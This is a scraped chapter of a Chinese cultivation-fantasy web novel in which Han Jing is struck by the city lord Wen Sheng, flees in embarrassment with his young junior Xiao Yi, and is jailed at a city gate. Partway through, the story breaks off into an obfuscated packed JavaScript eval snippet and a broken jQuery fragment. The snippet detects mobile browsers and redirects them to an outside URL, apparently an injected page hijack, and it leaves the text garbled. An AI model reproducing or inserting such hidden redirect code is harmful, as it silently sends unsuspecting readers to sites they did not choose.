末崽给你一刀 作品

42. 恶劣!

“文……!”


韩景根本来不及躲闪,文盛的前掌便已经落在他胸腔下方,真气顿时将他身体穿透,韩景只感觉全身血流都在这一瞬冻结成冰,暴裂的冲击力猛然将他掀飞出去,嗵声砸在殿门之上。


他捂住剧痛的腹部,重重摔落在地,灵力紊乱中,从俗世一直忍到福寿城的一口淤血,终于无能控制,被挣扎着呕出。


“你身上暗伤挺多啊,一个都没养好。”


文盛没再管他,一面转身走回,一面将十封传书用灵力燃尽焚阅。


韩景一臂撑地,感觉浑身骨头都要散架,趴着缓了好半天,才能慢慢站起,见文盛远去,甚至有些感激她避开了自己的窘态。


方才那一掌并不重,以文盛的修为,随时可以叫他死得无声无息,那一掌的力度,只能算帮他逼出淤血。


当时玄清一击将万山载雪震了个稀碎,胸甲到最后更是完全失效,他忍得辛苦,才没在妖修和萧易面前露怯。


他毕竟不是钢筋铁骨,不会受伤。后续无论是武斗还是智斗,都在加重本就半致命的伤势,他虽有心疗愈,但在有限的时间内,也只能做到将重伤暂时压制,这就顺带压了一口老血在五脏中。


韩景本想等回了画中,将萧易交给二师姐后再闭关偷偷疗伤,不想刚来福寿城跟文盛打了个照面,她就直接一掌把淤血给自己打了出来。


“你这人,真有意思。”文盛趁他说不了话,继续感慨,“实在是能忍,换个人早瘫在地上了,你还能带着个孩子满仙域跑,不愧是曾经的万刃少主。”


“多谢……”韩景声音发颤。


“谢什么?帮你把小师弟支出去,没叫你丢了脸面?”文盛看着他苍白中透着窘迫的面容,嗤笑一声,“死要面子——不过换我也这样。你这暗伤若再强压些时日,怕就很难根治了,还不如现在将它激出。”


“我……还要赶路,没时间疗伤,好意心领了。”


“什么事这样急?你就是忧思太重。”文盛不以为然,两三句就试探出他的病因。


韩景沉默半晌,不能反驳也不想承认,说了些客套话,就穿过禁制打算推门离去。


“不拿上丹药?”身后传来的声音,叫他脚步止住。


一枚青色小瓷瓶不知何时出现在桌案上。


“把你打伤再赶你出去,那我办的叫什么事儿?”文盛又看起了各方呈递的奏章,她只离开不到十息时间,各种传书传音就已堆满桌面,开始簌簌往地上掉落。


“福寿城跟万刃城,以前就常是同舟共济——虽然我没赶上那好时候。福寿城日渐势微,你也是知晓的,现今城内的最高修为,甚至比上任城主的证道境又降了一个境界,到我这般寻道境。几千年来,不知被这般削弱了多少次,早就快撑不住了。”


各种灵力波动仍如大厦崩塌,砖瓦倾落,将她掩埋其中,锁链般接连飞来的金色符光,像是将她孤身锁在了明堂。


“元幸长老选了你,那我便信你。


万刃景,我帮你,你可要记得。”


韩景只能透过一层金色墙面隐隐窥见她的身影,无言中,并指招过,将散发着浓郁药香的瓷瓶收起。


“某并非忘恩之人。”


闻他此言,文盛的轻笑传出。她身上有种和元幸真人一脉相承的松弛感,也很爱笑。


韩景转身推开门的第一眼,就看见萧易紧贴在门口,一脸着急地往里探,见他走出,立马扑了过来。


“?怎么了?”


“师兄,刚才里面声音好大,你们是不是打起来了!”萧易目光在他身上刮过一轮,搜寻着想象中的伤痕。


韩景不喜欢血在身上干涸,早就拂拭了去,他当然找不见。


“怎会,我们走……”


“师兄你脸好红!她是不是扇你脸了?”


殿门尚敞开着,韩景愣了一下,他看见埋在金光中的文盛身影,明显也愣了一下。


“没有,你看错了。”


韩景赶紧戴上幂篱,一把捞起他带他向外快步走去。


糟了糟了,刚才趴地上半天起不来太丢人现眼,现在后反劲儿脸红了……


“师兄你的脸怎么在冒热气,是不是肿了?”


“没有!别问了!”


韩景走得更快,阵师们连忙追上。


没听见吧?应该没听见吧……


“哎。”


文盛隔着老远喊了一嗓子,韩景停住脚步欲转身回望,就听她噗嗤一声笑出来,“有空常来玩啊,小寡夫!”


韩景顿了一下,捂着萧易连跑带瞬移地逃离了这个鬼地方。


恶劣!实在恶劣!


堂堂福寿城主怎能如此出言不逊!简直、简直是轻浮!!


药瓶被他捏得咯吱作响,听着不堪重负马上就要垮掉。韩景将手捏了松松了捏,想了又想,还是觉得这个委屈都受了,东西不能再糟蹋了,于是把丹药倒进嘴里后,将空瓶朝安和宫奋力甩去,甩到一半又停住动作,在手里捏碎。


“……师兄,你真的没事吗?”


“没事!”


萧易看着变成小蒸笼的幂篱陷入沉思。


他在内城中到处乱撞,也不知是要跑到哪儿去,过了许久,阵师们实在是跟着他跑累了,惊叹他体力的同时,强憋着火,客客气气地将他押到了传送阵里。


往后的路是怎么走的,韩景全然不知了,反正是传送到了某个地方,他撞出了城门就往竟遥城的方向瞬移,等脑子不再发僵时,已经到了竟遥城外。


之所以回过神,当然是因为进城的时候交不上灵石被守卫逮了。


守卫不耐烦地喊了好几声也不见他回应,萧易一路上都不敢说话,此时被迫无助地揪着他胳膊拽了又拽。


在他拼命一个大跳拽得韩景身形不稳之下,遮在幂篱中的那张脸终于变了神情。


韩景刚能感知到外界环境,就见一只手朝他伸来,要将幂篱摘下。


“这蒙的是人脑袋吗?怎么听不懂人话!没灵石就一边去,别挡路!”


不好,不能暴露身份!


韩景当即扼住那只手,一记重拳打在他胸膛,将他打飞了出去。


“师……兄?”萧易震惊。


见有人闹事,城门处守卫即刻便往此处聚集,韩景这才反应过来目前是个什么形势,但再想补救已经晚了。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139958|164476||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


正欲迎战,却又觉不对。


现在他的性质顶多算是寻衅滋事,惹不了多大轰动,如果真在城门口跟守卫打个如火如荼,事情就再没有转圜的余地了。


韩景只能束手就擒。


俩人被压到城中牢狱时,又来了狱卒要摘他的幂篱,被韩景说着“貌丑陋,不宜见人”,再塞了一件法宝后,狱卒给他二人上了封住灵力和储物法宝的锁铐,就开启牢中禁制,乐滋滋离去了。


韩景站在牢门前,久久没有回身。


他不是在想怎么逃出去,依现在的情况,他顶多是去电牢里待上半个时辰,竟遥城也就放人了,还不至于出大岔子。


他现在唯一的困境,就是他实在、非常、极其没有脸面面对萧易,所以故作深沉希望他别找自己说话。


这边正祈祷着,就听见镣铐噼里啪啦地响起,萧易已经朝他走了过来。


好了,这下彻底心死了。


“师兄?师兄?师兄!”


好烦……


他不低头,萧易那边就跟觉得他听不见似的,一直仰着脖子接连不断的叫。


韩景冷静下来,认真检讨半晌后,觉得毕竟是自己冲动在先,做错事情的后果,还是得由他自己腆着脸去面对的……


“何事。”


“师兄,她扇你是因为她觉得你不好看吗?”


“。?”


韩景一下瞪圆了眼:“???”


他到底是怎么联想的!??


萧易看不到他的神情,见他“唰”一下低头,还以为自己说中了,继续道:“没关系啊师兄,我觉得你很漂亮啊。你真的很漂亮,你是我见过的天底下最好看的人了,你不用自卑的……”


韩景一时失语,磕磕巴巴解释:“不是你想的那样,你猜错了、不是、福寿城主没有打师兄……你休要再提此事!”


“那她……那她是不是欺负你了?”萧易问得小心翼翼,像是怕揭他伤疤。


“够了、别说了!谁、谁教你的这些!”


韩景想着要不然找堵墙撞死算了。


“我看父皇总是那样,我以为她当城主,和是做皇帝一样的……”


韩景怔住,稍一想就明白了怎么回事,现如今,回忆起来萧帝被他鞭尸,只觉是罪有应得。


但这并不妨碍他尴尬到想撞墙。


韩景不想跟萧易解释自己是为什么戴幂篱,让他自己说“我不觉得自己不好看”类似的话,还不如一刀攮死他算了。


他现在要做的,就是劝自己童言无忌,然后装作无事发生地继续对着大门沉思。


他的衣摆又被拉了拉。


韩景假装自己没有感觉。


他的袖子被拉了拉。


韩景更加努力地假装自己没有感觉。


他的肩膀被拍了拍。


韩景更加更加努力……嗯、嗯?


嗯!?


他低头看向萧易,他的脑袋还是只能到自己的胯处,韩景如何也想不出能让他拍到自己肩膀的方法。


扭身一瞧,竟见一双眼睛不知何时悬在了他身侧。


只有一双眼睛,在幽幽地望着他。